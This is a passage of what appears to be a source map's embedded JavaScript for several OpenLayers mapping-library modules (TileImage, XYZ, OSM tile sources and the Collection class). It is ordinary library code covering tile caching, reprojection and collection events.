Canvas renderer.\n * See https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image for more detail.\n * @property {boolean} [imageSmoothing=true] Deprecated. Use the `interpolate` option instead.\n * @property {boolean} [interpolate=true] Use interpolated values when resampling. By default,\n * linear interpolation is used when resampling. Set to false to use the nearest neighbor instead.\n * @property {boolean} [opaque=false] Whether the layer is opaque.\n * @property {import(\"../proj.js\").ProjectionLike} [projection] Projection. Default is the view projection.\n * @property {number} [reprojectionErrorThreshold=0.5] Maximum allowed reprojection error (in pixels).\n * Higher values can increase reprojection performance, but decrease precision.\n * @property {import(\"./Source.js\").State} [state] Source state.\n * @property {typeof import(\"../ImageTile.js\").default} [tileClass] Class used to instantiate image tiles.\n * Default is {@link module:ol/ImageTile~ImageTile}.\n * @property {import(\"../tilegrid/TileGrid.js\").default} [tileGrid] Tile grid.\n * @property {import(\"../Tile.js\").LoadFunction} [tileLoadFunction] Optional function to load a tile given a URL. The default is\n * ```js\n * function(imageTile, src) {\n * imageTile.getImage().src = src;\n * };\n * ```\n * @property {number} [tilePixelRatio=1] The pixel ratio used by the tile service. For example, if the tile\n * service advertizes 256px by 256px tiles but actually sends 512px\n * by 512px images (for retina/hidpi devices) then `tilePixelRatio`\n * should be set to `2`.\n * @property {import(\"../Tile.js\").UrlFunction} [tileUrlFunction] Optional function to get tile URL given a tile coordinate and the projection.\n * @property {string} [url] URL template. Must include `{x}`, `{y}` or `{-y}`, and `{z}` placeholders.\n * A `{?-?}` template pattern, for example `subdomain{a-f}.domain.com`, may be\n * used instead of defining each one separately in the `urls` option.\n * @property {Array<string>} [urls] An array of URL templates.\n * @property {boolean} [wrapX] Whether to wrap the world horizontally. The default, is to\n * request out-of-bounds tiles from the server. When set to `false`, only one\n * world will be rendered. When set to `true`, tiles will be requested for one\n * world only, but they will be wrapped horizontally to render multiple worlds.\n * @property {number} [transition] Duration of the opacity transition for rendering.\n * To disable the opacity transition, pass `transition: 0`.\n * @property {string} [key] Optional tile key for proper cache fetching\n * @property {number|import(\"../array.js\").NearestDirectionFunction} [zDirection=0]\n * Choose whether to use tiles with a higher or lower zoom level when between integer\n * zoom levels. See {@link module:ol/tilegrid/TileGrid~TileGrid#getZForResolution}.\n */\n/**\n * @classdesc\n * Base class for sources providing images divided into a tile grid.\n *\n * @fires import(\"./Tile.js\").TileSourceEvent\n * @api\n */\nvar TileImage = /** @class */ (function (_super) {\n __extends(TileImage, _super);\n /**\n * @param {!Options} options Image tile options.\n */\n function TileImage(options) {\n var _this = this;\n var interpolate = options.imageSmoothing !== undefined ? options.imageSmoothing : true;\n if (options.interpolate !== undefined) {\n interpolate = options.interpolate;\n }\n _this = _super.call(this, {\n attributions: options.attributions,\n cacheSize: options.cacheSize,\n opaque: options.opaque,\n projection: options.projection,\n state: options.state,\n tileGrid: options.tileGrid,\n tileLoadFunction: options.tileLoadFunction\n ? options.tileLoadFunction\n : defaultTileLoadFunction,\n tilePixelRatio: options.tilePixelRatio,\n tileUrlFunction: options.tileUrlFunction,\n url: options.url,\n urls: options.urls,\n wrapX: options.wrapX,\n transition: options.transition,\n interpolate: interpolate,\n key: options.key,\n attributionsCollapsible: options.attributionsCollapsible,\n zDirection: options.zDirection,\n }) || this;\n /**\n * @protected\n * @type {?string}\n */\n _this.crossOrigin =\n options.crossOrigin !== undefined ? options.crossOrigin : null;\n /**\n * @protected\n * @type {typeof ImageTile}\n */\n _this.tileClass =\n options.tileClass !== undefined ? options.tileClass : ImageTile;\n /**\n * @protected\n * @type {!Object<string, TileCache>}\n */\n _this.tileCacheForProjection = {};\n /**\n * @protected\n * @type {!Object<string, import(\"../tilegrid/TileGrid.js\").default>}\n */\n _this.tileGridForProjection = {};\n /**\n * @private\n * @type {number|undefined}\n */\n _this.reprojectionErrorThreshold_ = options.reprojectionErrorThreshold;\n /**\n * @private\n * @type {boolean}\n */\n _this.renderReprojectionEdges_ = false;\n return _this;\n }\n /**\n * @return {boolean} Can expire cache.\n */\n TileImage.prototype.canExpireCache = function () {\n if (!ENABLE_RASTER_REPROJECTION) {\n return _super.prototype.canExpireCache.call(this);\n }\n if (this.tileCache.canExpireCache()) {\n return true;\n }\n else {\n for (var key in this.tileCacheForProjection) {\n if (this.tileCacheForProjection[key].canExpireCache()) {\n return true;\n }\n }\n }\n return false;\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @param {!Object<string, boolean>} usedTiles Used tiles.\n */\n TileImage.prototype.expireCache = function (projection, usedTiles) {\n if (!ENABLE_RASTER_REPROJECTION) {\n _super.prototype.expireCache.call(this, projection, usedTiles);\n return;\n }\n var usedTileCache = this.getTileCacheForProjection(projection);\n this.tileCache.expireCache(this.tileCache == usedTileCache ? usedTiles : {});\n for (var id in this.tileCacheForProjection) {\n var tileCache = this.tileCacheForProjection[id];\n tileCache.expireCache(tileCache == usedTileCache ? usedTiles : {});\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {number} Gutter.\n */\n TileImage.prototype.getGutterForProjection = function (projection) {\n if (ENABLE_RASTER_REPROJECTION &&\n this.getProjection() &&\n projection &&\n !equivalent(this.getProjection(), projection)) {\n return 0;\n }\n else {\n return this.getGutter();\n }\n };\n /**\n * @return {number} Gutter.\n */\n TileImage.prototype.getGutter = function () {\n return 0;\n };\n /**\n * Return the key to be used for all tiles in the source.\n * @return {string} The key for all tiles.\n */\n TileImage.prototype.getKey = function () {\n var key = _super.prototype.getKey.call(this);\n if (!this.getInterpolate()) {\n key += ':disable-interpolation';\n }\n return key;\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {boolean} Opaque.\n */\n TileImage.prototype.getOpaque = function (projection) {\n if (ENABLE_RASTER_REPROJECTION &&\n this.getProjection() &&\n projection &&\n !equivalent(this.getProjection(), projection)) {\n return false;\n }\n else {\n return _super.prototype.getOpaque.call(this, projection);\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {!import(\"../tilegrid/TileGrid.js\").default} Tile grid.\n */\n TileImage.prototype.getTileGridForProjection = function (projection) {\n if (!ENABLE_RASTER_REPROJECTION) {\n return _super.prototype.getTileGridForProjection.call(this, projection);\n }\n var thisProj = this.getProjection();\n if (this.tileGrid && (!thisProj || equivalent(thisProj, projection))) {\n return this.tileGrid;\n }\n else {\n var projKey = getUid(projection);\n if (!(projKey in this.tileGridForProjection)) {\n this.tileGridForProjection[projKey] =\n getTileGridForProjection(projection);\n }\n return this.tileGridForProjection[projKey];\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {import(\"../TileCache.js\").default} Tile cache.\n */\n TileImage.prototype.getTileCacheForProjection = function (projection) {\n if (!ENABLE_RASTER_REPROJECTION) {\n return _super.prototype.getTileCacheForProjection.call(this, projection);\n }\n var thisProj = this.getProjection();\n if (!thisProj || equivalent(thisProj, projection)) {\n return this.tileCache;\n }\n else {\n var projKey = getUid(projection);\n if (!(projKey in this.tileCacheForProjection)) {\n this.tileCacheForProjection[projKey] = new TileCache(this.tileCache.highWaterMark);\n }\n return this.tileCacheForProjection[projKey];\n }\n };\n /**\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @param {string} key The key set on the tile.\n * @return {!ImageTile} Tile.\n * @private\n */\n TileImage.prototype.createTile_ = function (z, x, y, pixelRatio, projection, key) {\n var tileCoord = [z, x, y];\n var urlTileCoord = this.getTileCoordForTileUrlFunction(tileCoord, projection);\n var tileUrl = urlTileCoord\n ? this.tileUrlFunction(urlTileCoord, pixelRatio, projection)\n : undefined;\n var tile = new this.tileClass(tileCoord, tileUrl !== undefined ? TileState.IDLE : TileState.EMPTY, tileUrl !== undefined ? tileUrl : '', this.crossOrigin, this.tileLoadFunction, this.tileOptions);\n tile.key = key;\n tile.addEventListener(EventType.CHANGE, this.handleTileChange.bind(this));\n return tile;\n };\n /**\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {!(ImageTile|ReprojTile)} Tile.\n */\n TileImage.prototype.getTile = function (z, x, y, pixelRatio, projection) {\n var sourceProjection = this.getProjection();\n if (!ENABLE_RASTER_REPROJECTION ||\n !sourceProjection ||\n !projection ||\n equivalent(sourceProjection, projection)) {\n return this.getTileInternal(z, x, y, pixelRatio, sourceProjection || projection);\n }\n else {\n var cache = this.getTileCacheForProjection(projection);\n var tileCoord = [z, x, y];\n var tile = void 0;\n var tileCoordKey = getKey(tileCoord);\n if (cache.containsKey(tileCoordKey)) {\n tile = cache.get(tileCoordKey);\n }\n var key = this.getKey();\n if (tile && tile.key == key) {\n return tile;\n }\n else {\n var sourceTileGrid = this.getTileGridForProjection(sourceProjection);\n var targetTileGrid = this.getTileGridForProjection(projection);\n var wrappedTileCoord = this.getTileCoordForTileUrlFunction(tileCoord, projection);\n var newTile = new ReprojTile(sourceProjection, sourceTileGrid, projection, targetTileGrid, tileCoord, wrappedTileCoord, this.getTilePixelRatio(pixelRatio), this.getGutter(), function (z, x, y, pixelRatio) {\n return this.getTileInternal(z, x, y, pixelRatio, sourceProjection);\n }.bind(this), this.reprojectionErrorThreshold_, this.renderReprojectionEdges_, this.getInterpolate());\n newTile.key = key;\n if (tile) {\n newTile.interimTile = tile;\n newTile.refreshInterimChain();\n cache.replace(tileCoordKey, newTile);\n }\n else {\n cache.set(tileCoordKey, newTile);\n }\n return newTile;\n }\n }\n };\n /**\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {number} pixelRatio Pixel ratio.\n * @param {!import(\"../proj/Projection.js\").default} projection Projection.\n * @return {!(ImageTile|ReprojTile)} Tile.\n * @protected\n */\n TileImage.prototype.getTileInternal = function (z, x, y, pixelRatio, projection) {\n var tile = null;\n var tileCoordKey = getKeyZXY(z, x, y);\n var key = this.getKey();\n if (!this.tileCache.containsKey(tileCoordKey)) {\n tile = this.createTile_(z, x, y, pixelRatio, projection, key);\n this.tileCache.set(tileCoordKey, tile);\n }\n else {\n tile = this.tileCache.get(tileCoordKey);\n if (tile.key != key) {\n // The source's params changed. If the tile has an interim tile and if we\n // can use it then we use it. Otherwise we create a new tile. In both\n // cases we attempt to assign an interim tile to the new tile.\n var interimTile = tile;\n tile = this.createTile_(z, x, y, pixelRatio, projection, key);\n //make the new tile the head of the list,\n if (interimTile.getState() == TileState.IDLE) {\n //the old tile hasn't begun loading yet, and is now outdated, so we can simply discard it\n tile.interimTile = interimTile.interimTile;\n }\n else {\n tile.interimTile = interimTile;\n }\n tile.refreshInterimChain();\n this.tileCache.replace(tileCoordKey, tile);\n }\n }\n return tile;\n };\n /**\n * Sets whether to render reprojection edges or not (usually for debugging).\n * @param {boolean} render Render the edges.\n * @api\n */\n TileImage.prototype.setRenderReprojectionEdges = function (render) {\n if (!ENABLE_RASTER_REPROJECTION ||\n this.renderReprojectionEdges_ == render) {\n return;\n }\n this.renderReprojectionEdges_ = render;\n for (var id in this.tileCacheForProjection) {\n this.tileCacheForProjection[id].clear();\n }\n this.changed();\n };\n /**\n * Sets the tile grid to use when reprojecting the tiles to the given\n * projection instead of the default tile grid for the projection.\n *\n * This can be useful when the default tile grid cannot be created\n * (e.g. projection has no extent defined) or\n * for optimization reasons (custom tile size, resolutions, ...).\n *\n * @param {import(\"../proj.js\").ProjectionLike} projection Projection.\n * @param {import(\"../tilegrid/TileGrid.js\").default} tilegrid Tile grid to use for the projection.\n * @api\n */\n TileImage.prototype.setTileGridForProjection = function (projection, tilegrid) {\n if (ENABLE_RASTER_REPROJECTION) {\n var proj = getProjection(projection);\n if (proj) {\n var projKey = getUid(proj);\n if (!(projKey in this.tileGridForProjection)) {\n this.tileGridForProjection[projKey] = tilegrid;\n }\n }\n }\n };\n return TileImage;\n}(UrlTile));\n/**\n * @param {ImageTile} imageTile Image tile.\n * @param {string} src Source.\n */\nfunction defaultTileLoadFunction(imageTile, src) {\n /** @type {HTMLImageElement|HTMLVideoElement} */ (imageTile.getImage()).src =\n src;\n}\nexport default TileImage;\n//# sourceMappingURL=TileImage.js.map","/**\n * @module ol/source/XYZ\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport TileImage from './TileImage.js';\nimport { createXYZ, extentFromProjection } from '../tilegrid.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {boolean} [attributionsCollapsible=true] Attributions are collapsible.\n * @property {number} [cacheSize] Initial tile cache size. Will auto-grow to hold at least the number of tiles in the viewport.\n * @property {null|string} [crossOrigin] The `crossOrigin` attribute for loaded images. Note that\n * you must provide a `crossOrigin` value if you want to access pixel data with the Canvas renderer.\n * See https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image for more detail.\n * @property {boolean} [imageSmoothing=true] Deprecated. Use the `interpolate` option instead.\n * @property {boolean} [interpolate=true] Use interpolated values when resampling. By default,\n * linear interpolation is used when resampling. Set to false to use the nearest neighbor instead.\n * @property {boolean} [opaque=false] Whether the layer is opaque.\n * @property {import(\"../proj.js\").ProjectionLike} [projection='EPSG:3857'] Projection.\n * @property {number} [reprojectionErrorThreshold=0.5] Maximum allowed reprojection error (in pixels).\n * Higher values can increase reprojection performance, but decrease precision.\n * @property {number} [maxZoom=42] Optional max zoom level. Not used if `tileGrid` is provided.\n * @property {number} [minZoom=0] Optional min zoom level. Not used if `tileGrid` is provided.\n * @property {number} [maxResolution] Optional tile grid resolution at level zero. Not used if `tileGrid` is provided.\n * @property {import(\"../tilegrid/TileGrid.js\").default} [tileGrid] Tile grid.\n * @property {import(\"../Tile.js\").LoadFunction} [tileLoadFunction] Optional function to load a tile given a URL. The default is\n * ```js\n * function(imageTile, src) {\n * imageTile.getImage().src = src;\n * };\n * ```\n * @property {number} [tilePixelRatio=1] The pixel ratio used by the tile service.\n * For example, if the tile service advertizes 256px by 256px tiles but actually sends 512px\n * by 512px images (for retina/hidpi devices) then `tilePixelRatio`\n * should be set to `2`.\n * @property {number|import(\"../size.js\").Size} [tileSize=[256, 256]] The tile size used by the tile service.\n * Not used if `tileGrid` is provided.\n * @property {number} [gutter=0] The size in pixels of the gutter around image tiles to ignore.\n * This allows artifacts of rendering at tile edges to be ignored.\n * Supported images should be wider and taller than the tile size by a value of `2 x gutter`.\n * @property {import(\"../Tile.js\").UrlFunction} [tileUrlFunction] Optional function to get\n * tile URL given a tile coordinate and the projection.\n * Required if `url` or `urls` are not provided.\n * @property {string} [url] URL template. Must include `{x}`, `{y}` or `{-y}`,\n * and `{z}` placeholders. A `{?-?}` template pattern, for example `subdomain{a-f}.domain.com`,\n * may be used instead of defining each one separately in the `urls` option.\n * @property {Array<string>} [urls] An array of URL templates.\n * @property {boolean} [wrapX=true] Whether to wrap the world horizontally.\n * @property {number} [transition=250] Duration of the opacity transition for rendering.\n * To disable the opacity transition, pass `transition: 0`.\n * @property {number|import(\"../array.js\").NearestDirectionFunction} [zDirection=0]\n * Choose whether to use tiles with a higher or lower zoom level when between integer\n * zoom levels. See {@link module:ol/tilegrid/TileGrid~TileGrid#getZForResolution}.\n */\n/**\n * @classdesc\n * Layer source for tile data with URLs in a set XYZ format that are\n * defined in a URL template. By default, this follows the widely-used\n * Google grid where `x` 0 and `y` 0 are in the top left. Grids like\n * TMS where `x` 0 and `y` 0 are in the bottom left can be used by\n * using the `{-y}` placeholder in the URL template, so long as the\n * source does not have a custom tile grid. In this case\n * a `tileUrlFunction` can be used, such as:\n * ```js\n * tileUrlFunction: function(coordinate) {\n * return 'http://mapserver.com/' + coordinate[0] + '/' +\n * coordinate[1] + '/' + (-coordinate[2] - 1) + '.png';\n * }\n * ```\n * @api\n */\nvar XYZ = /** @class */ (function (_super) {\n __extends(XYZ, _super);\n /**\n * @param {Options} [opt_options] XYZ options.\n */\n function XYZ(opt_options) {\n var _this = this;\n var options = opt_options || {};\n var interpolate = options.imageSmoothing !== undefined ? options.imageSmoothing : true;\n if (options.interpolate !== undefined) {\n interpolate = options.interpolate;\n }\n var projection = options.projection !== undefined ? options.projection : 'EPSG:3857';\n var tileGrid = options.tileGrid !== undefined\n ? options.tileGrid\n : createXYZ({\n extent: extentFromProjection(projection),\n maxResolution: options.maxResolution,\n maxZoom: options.maxZoom,\n minZoom: options.minZoom,\n tileSize: options.tileSize,\n });\n _this = _super.call(this, {\n attributions: options.attributions,\n cacheSize: options.cacheSize,\n crossOrigin: options.crossOrigin,\n interpolate: interpolate,\n opaque: options.opaque,\n projection: projection,\n reprojectionErrorThreshold: options.reprojectionErrorThreshold,\n tileGrid: tileGrid,\n tileLoadFunction: options.tileLoadFunction,\n tilePixelRatio: options.tilePixelRatio,\n tileUrlFunction: options.tileUrlFunction,\n url: options.url,\n urls: options.urls,\n wrapX: options.wrapX !== undefined ? options.wrapX : true,\n transition: options.transition,\n attributionsCollapsible: options.attributionsCollapsible,\n zDirection: options.zDirection,\n }) || this;\n /**\n * @private\n * @type {number}\n */\n _this.gutter_ = options.gutter !== undefined ? options.gutter : 0;\n return _this;\n }\n /**\n * @return {number} Gutter.\n */\n XYZ.prototype.getGutter = function () {\n return this.gutter_;\n };\n return XYZ;\n}(TileImage));\nexport default XYZ;\n//# sourceMappingURL=XYZ.js.map","/**\n * @module ol/source/OSM\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport XYZ from './XYZ.js';\n/**\n * The attribution containing a link to the OpenStreetMap Copyright and License\n * page.\n * @const\n * @type {string}\n * @api\n */\nexport var ATTRIBUTION = '© ' +\n '<a href=\"https://www.openstreetmap.org/copyright\" target=\"_blank\">OpenStreetMap</a> ' +\n 'contributors.';\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {number} [cacheSize] Initial tile cache size. Will auto-grow to hold at least the number of tiles in the viewport.\n * @property {null|string} [crossOrigin='anonymous'] The `crossOrigin` attribute for loaded images. Note that\n * you must provide a `crossOrigin` value if you want to access pixel data with the Canvas renderer.\n * See https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image for more detail.\n * @property {boolean} [imageSmoothing=true] Deprecated. Use the `interpolate` option instead.\n * @property {boolean} [interpolate=true] Use interpolated values when resampling. By default,\n * linear interpolation is used when resampling. Set to false to use the nearest neighbor instead.\n * @property {number} [maxZoom=19] Max zoom.\n * @property {boolean} [opaque=true] Whether the layer is opaque.\n * @property {number} [reprojectionErrorThreshold=0.5] Maximum allowed reprojection error (in pixels).\n * Higher values can increase reprojection performance, but decrease precision.\n * @property {import(\"../Tile.js\").LoadFunction} [tileLoadFunction] Optional function to load a tile given a URL. The default is\n * ```js\n * function(imageTile, src) {\n * imageTile.getImage().src = src;\n * };\n * ```\n * @property {number} [transition=250] Duration of the opacity transition for rendering.\n * To disable the opacity transition, pass `transition: 0`.\n * @property {string} [url='https://{a-c}.tile.openstreetmap.org/{z}/{x}/{y}.png'] URL template.\n * Must include `{x}`, `{y}` or `{-y}`, and `{z}` placeholders.\n * @property {boolean} [wrapX=true] Whether to wrap the world horizontally.\n * @property {number|import(\"../array.js\").NearestDirectionFunction} [zDirection=0]\n * Choose whether to use tiles with a higher or lower zoom level when between integer\n * zoom levels. See {@link module:ol/tilegrid/TileGrid~TileGrid#getZForResolution}.\n */\n/**\n * @classdesc\n * Layer source for the OpenStreetMap tile server.\n * @api\n */\nvar OSM = /** @class */ (function (_super) {\n __extends(OSM, _super);\n /**\n * @param {Options} [opt_options] Open Street Map options.\n */\n function OSM(opt_options) {\n var options = opt_options || {};\n var interpolate = options.imageSmoothing !== undefined ? options.imageSmoothing : true;\n if (options.interpolate !== undefined) {\n interpolate = options.interpolate;\n }\n var attributions;\n if (options.attributions !== undefined) {\n attributions = options.attributions;\n }\n else {\n attributions = [ATTRIBUTION];\n }\n var crossOrigin = options.crossOrigin !== undefined ? options.crossOrigin : 'anonymous';\n var url = options.url !== undefined\n ? options.url\n : 'https://{a-c}.tile.openstreetmap.org/{z}/{x}/{y}.png';\n return _super.call(this, {\n attributions: attributions,\n attributionsCollapsible: false,\n cacheSize: options.cacheSize,\n crossOrigin: crossOrigin,\n interpolate: interpolate,\n maxZoom: options.maxZoom !== undefined ? options.maxZoom : 19,\n opaque: options.opaque !== undefined ? options.opaque : true,\n reprojectionErrorThreshold: options.reprojectionErrorThreshold,\n tileLoadFunction: options.tileLoadFunction,\n transition: options.transition,\n url: url,\n wrapX: options.wrapX,\n zDirection: options.zDirection,\n }) || this;\n }\n return OSM;\n}(XYZ));\nexport default OSM;\n//# sourceMappingURL=OSM.js.map","/**\n * @module ol/CollectionEventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered when an item is added to the collection.\n * @event module:ol/Collection.CollectionEvent#add\n * @api\n */\n ADD: 'add',\n /**\n * Triggered when an item is removed from the collection.\n * @event module:ol/Collection.CollectionEvent#remove\n * @api\n */\n REMOVE: 'remove',\n};\n//# sourceMappingURL=CollectionEventType.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Collection\n */\nimport AssertionError from './AssertionError.js';\nimport BaseObject from './Object.js';\nimport CollectionEventType from './CollectionEventType.js';\nimport Event from './events/Event.js';\n/**\n * @enum {string}\n * @private\n */\nvar Property = {\n LENGTH: 'length',\n};\n/**\n * @classdesc\n * Events emitted by {@link module:ol/Collection~Collection} instances are instances of this\n * type.\n */\nvar CollectionEvent = /** @class */ (function (_super) {\n __extends(CollectionEvent, _super);\n /**\n * @param {import(\"./CollectionEventType.js\").default} type Type.\n * @param {*} [opt_element] Element.\n * @param {number} [opt_index] The index of the added or removed element.\n */\n function CollectionEvent(type, opt_element, opt_index) {\n var _this = _super.call(this, type) || this;\n /**\n * The element that is added to or removed from the collection.\n * @type {*}\n * @api\n */\n _this.element = opt_element;\n /**\n * The index of the added or removed element.\n * @type {number}\n * @api\n */\n _this.index = opt_index;\n return _this;\n }\n return CollectionEvent;\n}(Event));\nexport { CollectionEvent };\n/***\n * @template Return\n * @typedef {import(\"./Observable\").OnSignature<import(\"./Observable\").EventTypes, import(\"./events/Event.js\").default, Return> &\n * import(\"./Observable\").OnSignature<import(\"./ObjectEventType\").Types|'change:length', import(\"./Object\").ObjectEvent, Return> &\n * import(\"./Observable\").OnSignature<'add'|'remove', CollectionEvent, Return> &\n * import(\"./Observable\").CombinedOnSignature<import(\"./Observable\").EventTypes|import(\"./ObjectEventType\").Types|\n * 'change:length'|'add'|'remove',Return>} CollectionOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {boolean} [unique=false] Disallow the same item from being added to\n * the collection twice.\n */\n/**\n * @classdesc\n * An expanded version of standard JS Array, adding convenience methods for\n * manipulation. Add and remove changes to the Collection trigger a Collection\n * event. Note that this does not cover changes to the objects _within_ the\n * Collection; they trigger events on the appropriate object, not on the\n * Collection as a whole.\n *\n * @fires CollectionEvent\n *\n * @template T\n * @api\n */\nvar Collection = /** @class */ (function (_super) {\n __extends(Collection, _super);\n /**\n * @param {Array<T>} [opt_array] Array.\n * @param {Options} [opt_options] Collection options.\n */\n function Collection(opt_array, opt_options) {\n var _this = _super.call(this) || this;\n /***\n * @type {CollectionOnSignature<import(\"./events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {CollectionOnSignature<import(\"./events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {CollectionOnSignature<void>}\n */\n _this.un;\n var options = opt_options || {};\n /**\n * @private\n * @type {boolean}\n */\n _this.unique_ = !!options.unique;\n /**\n * @private\n * @type {!Array<T>}\n */\n _this.array_ = opt_array ? opt_array : [];\n if (_this.unique_) {\n for (var i = 0, ii = _this.array_.length; i < ii; ++i) {\n _this.assertUnique_(_this.array_[i], i);\n }\n }\n _this.updateLength_();\n return _this;\n }\n /**\n * Remove all elements from the collection.\n * @api\n */\n Collection.prototype.clear = function () {\n while (this.getLength() > 0) {\n this.pop();\n }\n };\n /**\n * Add elements to the collection. This pushes each item in the provided array\n * to the end of the collection.\n * @param {!Array<T>} arr Array.\n * @return {Collection<T>} This collection.\n * @api\n */\n Collection.prototype.extend = function (arr) {\n for (var i = 0, ii = arr.length; i < ii; ++i) {\n this.push(arr[i]);\n }\n return this;\n };\n /**\n * Iterate over each element, calling the provided callback.\n * @param {function(T, number, Array<T>): *} f The function to call\n * for every element. This function takes 3 arguments (the element, the\n * index and the array). The return value is ignored.\n * @api\n */\n Collection.prototype.forEach = function (f) {\n var array = this.array_;\n for (var i = 0, ii = array.length; i < ii; ++i) {\n f(array[i], i, array);\n }\n };\n /**\n * Get a reference to the underlying Array object. Warning: if the array\n * is mutated, no events will be dispatched by the collection, and the\n * collection's \"length\" property won't be in sync with the actual length\n * of the array.\n * @return {!Array<T>} Array.\n * @api\n */\n Collection.prototype.getArray = function () {\n return this.array_;\n };\n /**\n * Get the element at the provided index.\n * @param {number} index Index.\n * @return {T} Element.\n * @api\n */\n Collection.prototype.item = function (index) {\n return this.array_[index];\n };\n /**\n * Get the length of this collection.\n * @return {number} The length of the array.\n * @observable\n * @api\n */\n Collection.prototype.getLength = function () {\n return this.get(Property.LENGTH);\n };\n /**\n * Insert an element at the provided index.\n * @param {number} index Index.\n * @param {T} elem Element.\n * @api\n */\n Collection.prototype.insertAt = function (index, elem) {\n if (this.unique_) {\n this.assertUnique_(elem);\n }\n this.array_.splice(index, 0, elem);\n this.updateLength_();\n this.dispatchEvent(new CollectionEvent(CollectionEventType.ADD, elem, index));\n };\n /**\n * Remove the last element of the collection and return it.\n * Return `undefined` if the collection is empty.\n * @return {T|undefined} Element.\n * @api\n */\n Collection.prototype.pop = function () {\n return this.removeAt(this.getLength() - 1);\n };\n /**\n * Insert the provided element at the end of the collection.\n * @param {T} elem Element.\n * @return {number} New length of the collection.\n * @api\n */\n Collection.prototype.push = function (elem) {\n if (this.unique_) {\n this.assertUnique_(elem);\n }\n var n = this.getLength();\n this.insertAt(n, elem);\n return this.getLength();\n };\n /**\n * Remove the first occurrence of an element from the collection.\n * @param {T} elem Element.\n * @return {T|undefined} The removed element or undefined if none found.\n * @api\n */\n Collection.prototype.remove = function (elem) {\n var arr = this.array_;\n for (var i = 0, ii = arr.length; i < ii; ++i) {\n if (arr[i] === elem) {\n return this.removeAt(i);\n }\n }\n return undefined;\n };\n /**\n * Remove the element at the provided index and return it.\n * Return `undefined` if the collection does not contain this index.\n * @param {number} index Index.\n * @return {T|undefined} Value.\n * @api\n */\n Collection.prototype.removeAt = function (index) {\n var prev = this.array_[index];\n this.array_.splice(index, 1);\n this.updateLength_();\n this.dispatchEvent(new CollectionEvent(CollectionEventType.REMOVE, prev, index));\n return prev;\n };\n /**\n * Set the element at the provided index.\n * @param {number} index Index.\n * @param {T} elem Element.\n * @api\n */\n Collection.prototype.setAt = function (index, elem) {\n var n = this.getLength();\n if (index < n) {\n if (this.unique_) {\n this.assertUnique_(elem, index);\n }\n var prev = this.array_[index];\n this.array_[index] = elem;\n this.dispatchEvent(new CollectionEvent(CollectionEventType.REMOVE, prev, index));\n this.dispatchEvent(new CollectionEvent(CollectionEventType.ADD, elem, index));\n }\n else {\n for (var j = n; j < index; ++j) {\n this.insertAt(j, undefined);\n }\n this.insertAt(index, elem);\n }\n };\n /**\n * @private\n */\n Collection.prototype.updateLength_ = function () {\n this.set(Property.LENGTH, this.array_.length);\n };\n /**\n * @private\n * @param {T} elem Element.\n * @param {number} [opt_except] Optional index to ignore.\n */\n Collection.prototype.assertUnique_ = function (elem, opt_except) {\n for (var i = 0, ii = this.array_.length; i < ii; ++i) {\n if (this.array_[i] === elem && i !== opt_except) {\n throw new AssertionError(58);\n }\n }\n };\n return Collection;\n}(BaseObject));\nexport default Collection;\n//# sourceMappingURL=Collection.js.map","/**\n * @module ol/structs/RBush\n */\nimport RBush_ from 'rbush';\nimport { 